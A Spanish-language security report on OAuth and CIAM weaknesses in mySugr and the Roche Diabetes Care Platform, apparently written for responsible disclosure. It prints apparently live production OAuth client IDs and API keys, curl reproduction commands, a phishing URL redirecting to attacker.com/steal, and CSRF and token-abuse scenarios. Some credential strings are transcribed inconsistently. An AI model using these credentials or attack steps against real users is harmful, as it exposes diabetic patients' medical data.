

 SECURITY RESEARCH REPORT

mySugr / Roche Diabetes Care Platform **Vulnerability Assessment**

Hallazgos de seguridad en API REST y sistema CIAM
OAuth

1x HIGH

2x MEDIUM

2x INFO

 Fecha: 2026-04-29

 Objetivos: mysugr.com · rochedcplatform.com

 Método: Black-box recon automatizado + análisis manual

 Investigador: Antonio Fernandes (afernandesvigo)

Tabla de Contenidos

1. Credenciales OAuth Roche CIAM expuestas sin autenticación	HIGH
2. Missing OAuth State Validation — CSRF en Account Linking	MEDIUM
3. Token Exchange Proxy sin autenticación ni rate limiting	MEDIUM
4. Keycloak CIAM Admin Console públicamente accesible	LOW
5. Variables de entorno de build filtradas en JS de producción	INFO

Resumen Ejecutivo

Durante el análisis de reconocimiento automatizado sobre `mysugr.com` y su infraestructura asociada, se identificaron 5 vulnerabilidades que afectan al sistema de integración OAuth entre mySugr y la Roche Diabetes Care Platform (RDCP). El hallazgo más crítico permite a cualquier atacante obtener las credenciales OAuth de producción de la integración mySugr ↔ Roche CIAM sin ningún tipo de autenticación, lo que facilita ataques de phishing muy convincentes dirigidos a diabéticos que usan ambas plataformas.

ID	Título	Severidad	CVSS (est.)	Afecta
F-01	OAuth credentials exposed unauthenticated	HIGH	7.5	EU Prod, US Prod, QA
F-02	Missing OAuth state validation (CSRF)	MEDIUM	6.1	EU Prod, US Prod
F-03	Unauthenticated token exchange proxy	MEDIUM	5.3	EU Prod, US Prod

F-04	Keycloak admin console internet-exposed	LOW	4.0	auth.rochedcplatform.com
F-05	Build environment leak in production JS	INFO	3.1	webapps-prodeu.rochedcplatform.com

F-01 — Credenciales OAuth Roche CIAM expuestas

HIGH

CWE-200

CVSS 7.5

3 entornos afectados

0-click

Descripción

El endpoint `GET /rest/v3/users/probe` es accesible sin ningún tipo de autenticación y devuelve en texto plano las credenciales OAuth de la integración entre mySugr y el CIAM (Customer Identity and Access Management) de Roche Diabetes Care Platform. Esto afecta simultáneamente a los entornos de producción EU, producción US y QA EU.

Evidencia — EU Production

```
Pretty-print
{"enabledFeatures":
["F_HEALTH_IMPORT_AT_RUNTASTIC_RUNTASTIC_PRO", "F_HEALTH_IMPORT_COM_CALORIEKING_IPHONE_CALORIE_COUNTER", "F_DE_BUNDLE_UPLOAD_SHIPMENTS", "F_LOGBOOK_HEALTH_F
ULLSYNC", "F_QUICKBLOX_SYNC_DISABLED", "F_HEALTH_IMPORT_COM_LIFESCAN_REVEAL", "F_HEALTH_IMPORT_COM_NIKE_NIKEPLUS_GPS", "F_HEALTH_IMPORT_COM_SILLENIS_ISHAPE", "
F_LOGBOOK_ABTEST_ACCUCHEK_PAIRING_CARD_APPEARANCE", "F_HEALTH_IMPORT_COM_IHEALTHLABS_BG", "F_HEALTH_IMPORT_AT_RUNTASTIC_GPSSPORTAPP", "F_QUIZ_PACK_SANOFI_NO
SPONSOR", "F_HEALTH_IMPORT_COM_PROTOGEO_MOVES", "F_CONSENT_MANAGEMENT_AVAILABLE", "F_LOGBOOK_ESTIMATED_HBA1C", "F_LOGBOOK_BOLUSCALCULATOR_ACTIVATED", "F_HEALT
H_IMPORT_COM_WITHINGS_WISCALENG", "F_ROCHE_DIABETES_CARE_PLATFORM_MANUAL_INSULIN_DATA_SHARING", "F_HEALTH_IMPORT_HM_WRISTBAND", "F_HEALTH_IMPORT_COM_FITBIT
FITBITMOBILE", "F_BACKEND_PDF_REPORT_USE_INDEX", "F_ROCHE_DIABETES_CARE_PLATFORM_BOLUS_DELIVERY_DATA_SHARING", "F_LOGBOOK_GO_PRO", "F_SCANNER_SHOW_BETA_INDIC
ATOR", "F_HEALTH_IMPORT_COM_APPLE_HEALTH", "F_HEALTH_IMPORT_COM_GETQARDIO_QARDIO", "F_COMMERCE_SYSTEM_INITIATE_FULFILLMENTS", "F_HEALTH_IMPORT_COM_NOOM_WLC",
"F_LOGBOOK_TESTSTRIP_REMINDER"], "recommendedBackend": true, "country": "PL", "whiteLabelRedirectUri": "https://webapps-prodeu.rochedcplatform.com/ciam-
rdac/signin/start?appName=mysugr&clientId=wIx8rPc8wAu0YDh]z5fNb8oA&redirectUri=https%3A//eu-prod-
api.mysugr.com/rest/v3/rochediabetes/authorize/success&apiKey=4__qaD1fYc6nPgIv6B_xwUow"}

```

GET https://eu-prod-api.mysugr.com/rest/v3/users/probe — HTTP 200 sin autenticación

```
# Reproducción exacta:
$ curl -s --http1.1 https://eu-prod-api.mysugr.com/rest/v3/users/probe |
python3 -m json.tool

{
    "enabledFeatures": [...],
    "recommendedBackend": true,
    "country": "PL",

```

```
    "whiteLabelRedirectUri": "https://webapps-prodeu.rochedcplatform.com/ciam-rdac/signin/start?appName=mysugr&clientId=wTx8rPc8wAuoYDhJz5fNb8oA&redirectUri=https://eu-prod-api.mysugr.com/rest/v3/rochediabetes/authorize/success&apiKey=4__qaD1fYc6nPgIvGB_xwUow"
  }
```

Credenciales expuestas (todos los entornos)

Entorno	Host API	clientId	apiKey	CIAM Host
EU Prod	eu-prod-api.mysugr.com	wTx8rPc8wAuoYDhJz5fNb8oA	4__qaD1fYc6nPgIvGB_xwUow	webapps-prodeu.rochedcplatform.com
US Prod	us-prod-api.mysugr.com	5unKLAiciaXaNgtPHNmCSnxt	4_Xje-g73vL0Q1HD2uWtngRA	webapps-produs.rochedcplatform.com
QA EU	eu-qa-api.mysugr.com	gex-225FuX_BM-ygXEV67JL-	4_rpvX4DRYEVWh-XZ60Ih99w	webapps-qa-ipp.rdcplatform.com

Evidencia — US Production y QA

Pretty-print

```
{
  "enabledFeatures": [
    "F_HEALTH_IMPORT_AT_RUNTASTIC_PRO",
    "F_HEALTH_IMPORT_COM_CALORIEKING_IPHONE_CALORIE_COUNTER",
    "F_LOGBOOK_HEALTH_FULLSYNC",
    "F_QUICKBLOX_SYNC_DISABLED",
    "F_HEALTH_IMPORT_COM_LIFESCAN_REVEAL",
    "F_HEALTH_IMPORT_COM_NIKE_NIKEPLUS_GPS",
    "F_HEALTH_IMPORT_COM_SILLENIS_ISHAPE",
    "F_LOGBOOK_ABTEST_ACCUCHEK_PAIRING_CARD_APPEARANCE",
    "F_HEALTH_IMPORT_COM_IHEALTHLABS_BG",
    "F_HEALTH_IMPORT_AT_RUNTASTIC_GPSSPORTAPP",
    "F_US_BUNDLE_UPLOAD_SHIPMENTS",
    "F_QUIZ_PACK_SANOFI_NO_SPONSOR",
    "F_HEALTH_IMPORT_COM_PROTAGEO_MOVES",
    "F_CONSENT_MANAGEMENT_AVAILABLE",
    "F_LOGBOOK_ESTIMATED_HBA1C",
    "F_LOGBOOK_BOLUSCALCULATOR_ACTIVATED",
    "F_US_BUNDLE_SEND_TRACKING_MAIL",
    "F_HEALTH_IMPORT_COM_WITHINGS_WISCALENG",
    "F_ROCHE_DIABETES_CARE_PLATFORM_MANUAL_INSULIN_DATA_SHARING",
    "F_HEALTH_IMPORT_HM_WRIST_BAND",
    "F_HEALTH_IMPORT_COM_FITBIT_FITBITMOBILE",
    "F_BACKEND_PDF_REPORT_USE_INDEX",
    "F_ROCHE_DIABETES_CARE_PLATFORM_BOLUS_DELIVERY_DATA_SHARING",
    "F_LOGBOOK_GO_PRO",
    "F_SCANNER_SHOW_BETA_INDICATOR",
    "F_HEALTH_IMPORT_COM_APPLE_HEALTH",
    "F_HEALTH_IMPORT_COM_GETQARDIO_QARDIO",
    "F_COMMERCE_SYSTEM_INITIATE_FULFILLMENT",
    "F_HEALTH_IMPORT_COM_NOOM_WLC",
    "F_LOGBOOK_TESTSTRIP_REMINDER"
  ],
  "recommendedBackend": false,
  "country": "PL",
  "whiteLabelRedirectUri": "https://webapps-produs.rochedcplatform.com/ciam-rdac/signin/start?appName=mysugr&clientId=5unKLAiciaXaNgtPHNmCSnxt&redirectUri=https%3A%2F%2Fus-prod-api.mysugr.com%2Frest%2Fv3%2Frochediabetes%2Fauthorize%2Fsuccess&apiKey=4_Xje-g73vL0Q1HD2uWtngRA"
}
```

GET https://us-prod-api.mysugr.com/rest/v3/users/probe — credenciales US Prod expuestas

```
Pretty-print
{"enabledFeatures":
["F_LOGBOOK_ACCOUNT_DELETION","F_HEALTH_IMPORT_AT_RUNTASTIC_RUNTASTIC_PRO","F_HEALTH_IMPORT_COM_CALORIEKING_IPHONE_CALORIE_COUNTER","F_DE_BUNDLE_UPLOAD_S
HIPMENTS","F_LOGBOOK_LOG_ENTRY_MERGE","F_BACKEND_PDF_REPORT_V2","F_LOGBOOK_HEALTH_FULSYNC","F_QUICKBLOX_SYNC_DISABLED","F_LOGBOOK_BT_ACCU_CHEK_WHITELABE
L_EXACTA","F_HEALTH_IMPORT_COM_LIFESCAN_REVEAL","F_HEALTH_IMPORT_COM_NIKE_NIKEPLUS_GPS","F_HEALTH_IMPORT_COM_SILLENIS_ISHAPE","F_LOGBOOK_ABTEST_ACCUCHEK_P
AIRING_CARD_APPEARANCE","F_HEALTH_IMPORT_COM_IHEALTHLABS_BG","F_HEALTH_IMPORT_AT_RUNTASTIC_GPSSPORTAPP","F_US_BUNDLE_UPLOAD_SHIPMENTS","F_QUIZ_PACK_SANOF
T_NOSPONSOR","F_LOGBOOK_ADDITIONAL_METER_CONFIG_USING_NPC","F_HEALTH_IMPORT_COM_PROTAGEO_MOVES","F_CONSENT_MANAGEMENT_AVAILABLE","F_ROCHE_DIABETES_ACCOUN
T_LOGIN","F_LOGBOOK_ESTIMATED_HBA1C","F_LOGBOOK_BOLUSCALCULATOR_ACTIVATED","F_US_BUNDLE_SEND_TRACKING_MAILS","F_LOGBOOK_BRAZE","F_HEALTH_IMPORT_COM_WITHI
NGS_WISCALENG","F_ROCHE_DIABETES_CARE_PLATFORM_MANUAL_INSULIN_DATA_SHARING","F_HEALTH_IMPORT_HM_WRISTBAND","F_COMMON_INGESTION_SERVICE_INTEGRATION","F_HE
ALTH_IMPORT_COM_FITBIT_FITBITMOBILE","F_ROCHE_DIABETES_CARE_PLATFORM_BOLUS_DELIVERY_DATA_SHARING","F_BACKEND_PDF_REPORT_USE_INDEX","F_LOGBOOK_GO_PRO","F_S
CANNER_SHOW_BETA_INDICATOR","F_LOGBOOK_USER_DATA_EXPORT_AVAILABLE","F_LOGBOOK_CONNECTIONS_FREE_PRO_PROMOTION_ENABLED","F_HEALTH_IMPORT_COM_APPLE_HEALTH
","F_HEALTH_IMPORT_COM_GETQARDIO_QARDIO","F_COMMERCE_SYSTEM_INITIATE_FULFILLMENTS","F_HEALTH_IMPORT_COM_NOOM_WLC","F_LOGBOOK_TESTSTRIP_REMINDER"],"recomme
ndedBackend":true,"country":"PL","whiteLabelRedirectUri":"https://webapps.qa-ipp.rdcplatform.com/ciam-rdac/signin/start?appName=mysugr&clientId=gex-
225Fux_BM-ygXEV67JL-&redirectUri=https%3A//eu-qa-api.mysugr.com/rest/v3/rochediabetes/authorize/success&apiKey=4_rpvX4DRYEVWh-XZ60Ih99w"}

```

GET https://eu-qa-api.mysugr.com/rest/v3/users/probe — credenciales QA EU expuestas

Impacto Real

⚠ Escenario de ataque directo

Con el `clientId` y `apiKey` legítimos de mySugr, un atacante puede construir una URL de autenticación OAuth indistinguible de la real:

```
# URL de phishing usando las credenciales legítimas de mySugr
https://webapps-prodev.rochedcplatform.com/ciam-rdac/signin/start
?appName=mysugr
&clientId=wTx8rPc8wAuoYDhjz5fNb8oA    ← clientId real de mySugr
&redirectUri=https://attacker.com/steal ← redirect controlado por
atacante
&apiKey=4__qaD1fYc6nPgIv6B_xwUow      ← apiKey real
```

- 1 Atacante `clientId` y `apiKey` del endpoint público (0 autenticación, 1 request)
- 2 Construye una URL de "Conectar cuenta Roche" `redirect_uri` usando las credenciales legítimas pero con su propio
- 3 Envía la URL a usuarios de mySugr vía email/SMS — el dominio destino es el CIAM real de Roche, aumenta credibilidad
- 4 Usuario inicia sesión con sus credenciales Roche Diabetes Care Platform

- 5 Si el `redirect_uri` estrictamente: el authorization code va al atacante → acceso completo a la cuenta Roche
- 6 Atacante usa el code en `/rest/v3/rochediabetes/token/shop` → access token mySugr → datos médicos del usuario

Datos en riesgo

Si el ataque tiene éxito: registros de glucosa en sangre, dosis de insulina, patrones de HbA1c estimada, datos de dispositivos CGM/BGM vinculados, historial completo de diabetes del usuario.

Remediación recomendada

Requerir autenticación (al menos un token de aplicación firmado) para acceder a `/rest/v3/users/probe`. Eliminar las credenciales OAuth del cuerpo de la respuesta o reemplazarlas por un identificador opaco que no sea explotable directamente. Rotar los `clientId` / `apiKey` actuales.

F-02 — Missing OAuth State Validation (CSRF en Account Linking)

MEDIUM

CWE-352

CVSS 6.1

OAuth 2.0 RFC violation

Descripción

El endpoint de callback OAuth `GET /rest/v3/rochediabetes/authorize/success` acepta el parámetro `state` pero **no lo valida ni lo reenvía** al móvil. Cualquier authorization code arbitrario se redirige directamente a la deep link del móvil sin verificación de origen. Esto viola el RFC 6749 (OAuth 2.0), sección 4.1.1, que exige que el servidor valide el `state` para prevenir ataques CSRF.

Evidencia

```
# Request con state arbitrario
$ curl -s -I --http1.1 "https://eu-prod-api.mysugr.com/rest/v3/rochediabetes/authorize/success?code=TEST_CODE&state=CSRF_PAYLOAD" -H "User-Agent: mySugr/3.93.0"

HTTP/1.1 307 Temporary Redirect
Location: mysugr-rdc-auth://mysugr.com?code=TEST_CODE&backend=prod-eu
X-mysugr-backend: prod/eu

# Observar: state=CSRF_PAYLOAD desaparece completamente del redirect
# code=TEST_CODE se pasa tal cual, sin validación
```

```
# US Prod - mismo comportamiento
$ curl -s -I --http1.1 "https://us-prod-api.mysugr.com/rest/v3/rochediabetes/authorize/success?code=TEST&state=ignored"

HTTP/1.1 307 Temporary Redirect
Location: mysugr-rdc-auth://mysugr.com?code=TEST&backend=prod-us
```

Escenario de Ataque CSRF

- 1 Atacante inicia su propio flujo OAuth contra Roche CIAM usando su propia cuenta Roche legítima
- 2 Obtiene un authorization code válido de `code=ATTACKER_CODE`)
Roche CIAM (

- 3 Construye una URL: `https://eu-prod-api.mysugr.com/rest/v3/rochediabetes/authorize/success?code=ATTACKER_CODE`
- 4 Engaña a la víctima (logueada en mySugr) para que abra esa URL — puede ser via imagen en email, iframe oculto, o enlace
- 5 La víctima ejecuta el binding involuntariamente: su cuenta atacante mySugr queda vinculada a la cuenta Roche del
- 6 El atacante ahora tiene acceso a los datos médicos de la víctima a través de su cuenta Roche vinculada

Impacto

Account linking CSRF: la víctima vincula involuntariamente su cuenta mySugr (con todos sus datos de diabetes) a la identidad Roche del atacante. Sin interacción visible, sin confirmación adicional.

Remediación

Generar y almacenar un `state` criptográficamente aleatorio al iniciar el flujo OAuth. Verificar que el `state` recibido en el callback coincide exactamente con el almacenado en sesión. Rechazar (HTTP 400) cualquier callback donde el `state` no coincida.

F-03 — Token Exchange Proxy sin Autenticación ni Rate Limiting

MEDIUM

CWE-306 / CWE-770

CVSS 5.3

Descripción

El endpoint `POST /rest/v3/rochediabetes/token/shop` permite intercambiar un Roche DCPM refresh token por un access token de mySugr. Este endpoint no requiere ningún tipo de autenticación previa del cliente (no verifica que la petición venga de la app mySugr legítima) y no aplica rate limiting visible.

Evidencia

```
# Sin autenticación - accesible desde cualquier IP
$ curl --http1.1 -s -X POST "https://eu-prod-api.mysugr.com/rest/v3/rochediabetes/token/shop" -H "Content-Type: application/json" -d '{"token":"test","tokenType":"REFRESH"}'

HTTP/1.1 400
{"code":"4003","message":"Unexpected error occurred from the OIDC endpoint",

"meta":"invalid_grant - The provided authorization code or refresh token is invalid."}

# 5 requests en rápida sucesión - sin throttling
[1] HTTP:400 - invalid_grant
[2] HTTP:400 - invalid_grant
[3] HTTP:400 - invalid_grant
[4] HTTP:400 - invalid_grant
[5] HTTP:400 - invalid_grant
```

Impacto

Vectores de abuso

- **Amplificación de ataques:** Atacante usa este proxy para realizar brute-force de tokens contra el Keycloak de Roche, ocultando su IP real detrás de los servidores de mySugr

- **Token replay:** Refresh tokens Roche DCPM obtenidos de otras fuentes (breach, phishing) pueden intercambiarse directamente por acceso mySugr sin credenciales adicionales
- **Information disclosure:** El endpoint revela mensajes de error internos del sistema OIDC de Roche (`"invalid_grant"`), útil para distinguir tokens con formato válido de tokens inválidos

Remediación

Requerir autenticación de sesión mySugr activa para acceder a este endpoint. Implementar rate limiting por IP y por usuario (ej. máx. 5 intentos/hora). Sanitizar los mensajes de error para no revelar detalles del sistema OIDC interno.

F-04 — Keycloak CIAM Admin Console

Expuesto a Internet

LOW

CWE-284

Keycloak (Red Hat)

auth.rochedcplatform.com

Descripción

El servidor Keycloak de Roche (auth.rochedcplatform.com , desplegado en AWS ELB) tiene su consola de administración y su OIDC discovery endpoint accesibles directamente desde internet sin restricciones de red.

Evidencia

```
# Admin console accesible públicamente
$ curl -s -o /dev/null -w "%{http_code}" https://
auth.rochedcplatform.com/auth/admin/master/console/
200 ← devuelve la UI de administración Keycloak

# OIDC discovery del realm master — completamente público
$ curl -s https://auth.rochedcplatform.com/auth/realms/master/.well-known/
openid-configuration
```

```
Pretty-print
{"issuer":"https://auth.rochedcplatform.com/auth/realms/master","authorization_endpoint":"https://auth.rochedcplatform.com/auth/realms/master/protocol/openid-connect/auth","token_endpoint":"https://auth.rochedcplatform.com/auth/realms/master/protocol/openid-connect/token","introspection_endpoint":"https://auth.rochedcplatform.com/auth/realms/master/protocol/openid-connect/token/introspect","userinfo_endpoint":"https://auth.rochedcplatform.com/auth/realms/master/protocol/openid-connect/userinfo","end_session_endpoint":"https://auth.rochedcplatform.com/auth/realms/master/protocol/openid-connect/logout","jwks_uri":"https://auth.rochedcplatform.com/auth/realms/master/protocol/openid-connect/certs","check_session_iframe":"https://auth.rochedcplatform.com/auth/realms/master/protocol/openid-connect/login-status-iframe.html","grant_types_supported":["authorization_code","implicit","refresh_token","password","client_credentials"],"response_types_supported":["code","none","id_token","token","id_token token","code id token","code token","code id_token token"],"subject_types_supported":["public","pairwise"],"id_token_signing_alg_values_supported":["PS384","ES384","RS384","HS256","HS512","ES256","RS256","HS384","ES512","PS256","PS512","RS512"],"id_token_encryption_alg_values_supported":["RSA-OAEP","RSA1_5"],"id_token_encryption_enc_values_supported":["A256GCM","A192GCM","A128GCM","A128CBC-HS256","A192CBC-HS384","A256CBC-HS512"],"userinfo_signing_alg_values_supported":["PS384","ES384","RS384","HS256","HS512","ES256","RS256","HS384","ES512","PS256","PS512","RS512","none"],"request_object_signing_alg_values_supported":["PS384","ES384","RS384","HS256","HS512","ES256","RS256","HS384","ES512","PS256","PS512","RS512","none"],"response_modes_supported":["query","fragment","form_post"],"registration_endpoint":"https://auth.rochedcplatform.com/auth/realms/master/clients-registrations/openid-connect","token_endpoint_auth_methods_supported":["private_key_jwt","client_secret_basic","client_secret_post","tls_client_auth","client_secret_jwt"],"token_endpoint_auth_signing_alg_values_supported":["PS384","ES384","RS384","HS256","HS512","ES256","RS256","HS384","ES512","PS256","PS512","RS512"],"claims_supported":["aud","sub","iss","auth_time","name","given_name","family_name","preferred_username","email","acr"],"claim_types_supported":["normal"],"claims_parameter_supported":false,"scopes_supported":["openid","offline_access","profile","email","address","phone","roles","web-origins","microprofile-jwt"],"request_parameter_supported":true,"request_uri_parameter_supported":true,"code_challenge_methods_supported":["plain","S256"],"tls_client_certificate_bound_access_tokens":true}
```

<https://auth.rochedcplatform.com/auth/realms/master/.well-known/openid-configuration> —
OIDC discovery público completo, incluyendo registration_endpoint

Hallazgos adicionales en Keycloak

Endpoint	Estado	Observación
<code>/auth/admin/master/console/</code>	200	UI admin accesible — requiere credenciales pero expuesto a internet
<code>/auth/realms/master/.well-known/openid-configuration</code>	200	Discovery completo con todos los endpoints
<code>/auth/realms/master/clients-registrations/openid-connect</code>	403 (Trusted Hosts)	Dynamic client registration activo, bloqueado solo por IP whitelist
Grant type <code>password</code> (ROPC)	Habilitado	Permite brute-force directo de credenciales de usuarios

Remediación

Restringir acceso a `/auth/admin/` por IP (solo VPN corporativa o bastion host). Deshabilitar el grant type `password` (ROPC) si no es necesario. Actualizar Keycloak a la versión más reciente (historial de CVEs críticas en versiones legacy). Revisar la política de Trusted Hosts del dynamic client registration.

F-05 — Variables de Entorno de Build Filtradas en JS de Producción

INFO

CWE-615

Supply Chain Risk

webapps-prodeu.rochedcplatform.com

Descripción

El bundle JavaScript de producción del CIAM de Roche (`/ciam-rdac/assets/index-CrkAgVuI.js`) contiene variables de entorno del proceso de build que fueron incluidas accidentalmente por Vite/webpack al hacer el bundle. Incluye rutas internas del CI/CD, URL del registry NPM privado de Roche y metadatos del entorno de compilación.

Datos filtrados

```
# Extraídos del bundle de producción con grep:

npm_config_registry: "https://eu.repository.roche.com/artifactory/api/npm/rdcs-npm-all-v..."
npm_config_always_auth: "true"    ← confirma que hay credenciales en .npmrc
npm_config_userconfig: "/home/node/.npmrc"
npm_config_local_prefix: "/home/node"
npm_node_execpath: "/usr/local/bin/node"
npm_package_name: "rdac-client"
npm_lifecycle_script: "tsc && vite build && cyclonedx-bom -o bom.xml && yarn run docs:prepare"
npm_config_user_agent: "yarn/1.22.22 npm/? node/v24.0.0 linux x64"

# AWS KMS Key ARN en headers de respuesta HTTP:
x-amz-server-side-encryption-aws-kms-key-id: arn:aws:kms:us-east-1:019364481091:key/e01e9c32-5cd8-4229-9d92-a1440b978802
# → AWS Account ID 019364481091 expuesto
```

Impacto

i Riesgo indirecto

- La URL del registry NPM privado permite a un atacante intentar un dependency confusion attack publicando paquetes con el mismo nombre en el registry público
- `npm_config_always_auth: true` confirma que el servidor de build usa credenciales para ese registry — si el token se filtrara en el futuro, el atacante sabría exactamente dónde usarlo
- El nombre interno del proyecto (`rdac-client`) y la estructura de scripts facilita la ingeniería social contra el equipo de desarrollo
- AWS Account ID facilita el reconocimiento de otros recursos en esa cuenta

Remediación

Configurar Vite/webpack para excluir variables de entorno del proceso Node del bundle. Usar un prefijo específico (ej. `VITE_`) para las variables que deben ser accesibles en el frontend y no incluir las demás. Revisar la configuración de `define` en `vite.config.ts` .

Nota sobre responsible disclosure: Estos hallazgos fueron identificados mediante reconocimiento automatizado de caja negra y análisis manual posterior. No se realizó ningún acceso no autorizado a datos de usuarios ni se explotaron las vulnerabilidades más allá de lo necesario para confirmar su existencia. Se recomienda reportar en el programa HackerOne de mySugr: <https://hackerone.com/mysugr> . Los hallazgos F-01 y F-02 son los de mayor prioridad dado el impacto potencial sobre datos médicos de pacientes diabéticos.